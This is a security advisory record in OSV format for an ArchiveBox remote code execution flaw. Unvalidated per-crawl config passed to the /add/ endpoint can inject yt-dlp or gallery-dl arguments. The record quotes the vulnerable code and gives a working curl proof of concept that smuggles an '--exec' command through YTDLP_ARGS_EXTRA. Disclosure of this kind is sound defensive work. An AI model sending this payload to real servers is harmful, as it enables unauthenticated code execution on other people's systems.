{"id":"PYSEC-2026-283","summary":"ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView","details":"The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.\n\nWhen PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.\n \nAffected code:\n\ncore/views.py:887 - user config extracted with no validation:\n \n```python\ncustom_config = form.cleaned_data.get(\"config\") or {}\n```\n\ncore/views.py:918 - merged into crawl config:\n\n```python\nconfig.update(custom_config)\n```\n\n config/configset.py:255-256 - crawl config applied with high priority:\n\n```python\n if crawl and hasattr(crawl, \"config\") and crawl.config:\n    config.update(crawl.config)\n ```\n\nhooks.py:398-411 - config exported as env vars:\n\n```python\nfor key, value in config.items():\n    if key in SKIP_KEYS: continue\n    env[key] = str(value)\n ```\n\nplugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:\n\n```python\nytdlp_args_extra = get_env_array(\"YTDLP_ARGS_EXTRA\", [])\n cmd.extend(ytdlp_args_extra)\n```\n\nPoC (pre-auth when PUBLIC_ADD_VIEW=True):\n \n```bash\ncurl -X POST http://localhost:8000/add/ \\\n  -d \"url=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n  -d \"depth=0\" \\\n  -d \"config={\\\"YTDLP_ARGS_EXTRA\\\": \\\"[\\\\\\\"--exec\\\\\\\", \\\\\\\"id \u003e /tmp/pwned\\\\\\\"]\\\"}\" \n```\n\nAfter the crawl runs, yt-dlp executes id \u003e /tmp/pwned via its --exec flag.\n\nSame approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.\n \nImpact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.","aliases":["CVE-2026-42601","GHSA-3h23-7824-pj8r"],"modified":"2026-06-29T12:15:04.924420225Z","published":"2026-06-29T11:50:49.398282Z","references":[{"type":"WEB","url":"https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42601"},{"type":"PACKAGE","url":"https://github.com/ArchiveBox/ArchiveBox"},{"type":"PACKAGE","url":"https://pypi.org/project/archivebox"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3h23-7824-pj8r"}],"affected":[{"package":{"name":"archivebox","ecosystem":"PyPI","purl":"pkg:pypi/archivebox"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.6rc0"}]}],"versions":["0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.20","0.4.21","0.4.6","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.6.1","0.6.2","0.7.0","0.7.1","0.7.2","0.7.4","0.8.5rc0","0.8.5rc1","0.8.5rc10","0.8.5rc11","0.8.5rc12","0.8.5rc13","0.8.5rc14","0.8.5rc15","0.8.5rc16","0.8.5rc17","0.8.5rc18","0.8.5rc2","0.8.5rc20","0.8.5rc21","0.8.5rc22","0.8.5rc23","0.8.5rc24","0.8.5rc25","0.8.5rc26","0.8.5rc27","0.8.5rc28","0.8.5rc29","0.8.5rc3","0.8.5rc30","0.8.5rc31","0.8.5rc32","0.8.5rc33","0.8.5rc34","0.8.5rc35","0.8.5rc36","0.8.5rc37","0.8.5rc38","0.8.5rc39","0.8.5rc4","0.8.5rc40","0.8.5rc41","0.8.5rc42","0.8.5rc43","0.8.5rc44","0.8.5rc45","0.8.5rc46","0.8.5rc47","0.8.5rc48","0.8.5rc49","0.8.5rc5","0.8.5rc50","0.8.5rc51","0.8.5rc6","0.8.5rc8","0.8.5rc9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/archivebox/PYSEC-2026-283.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}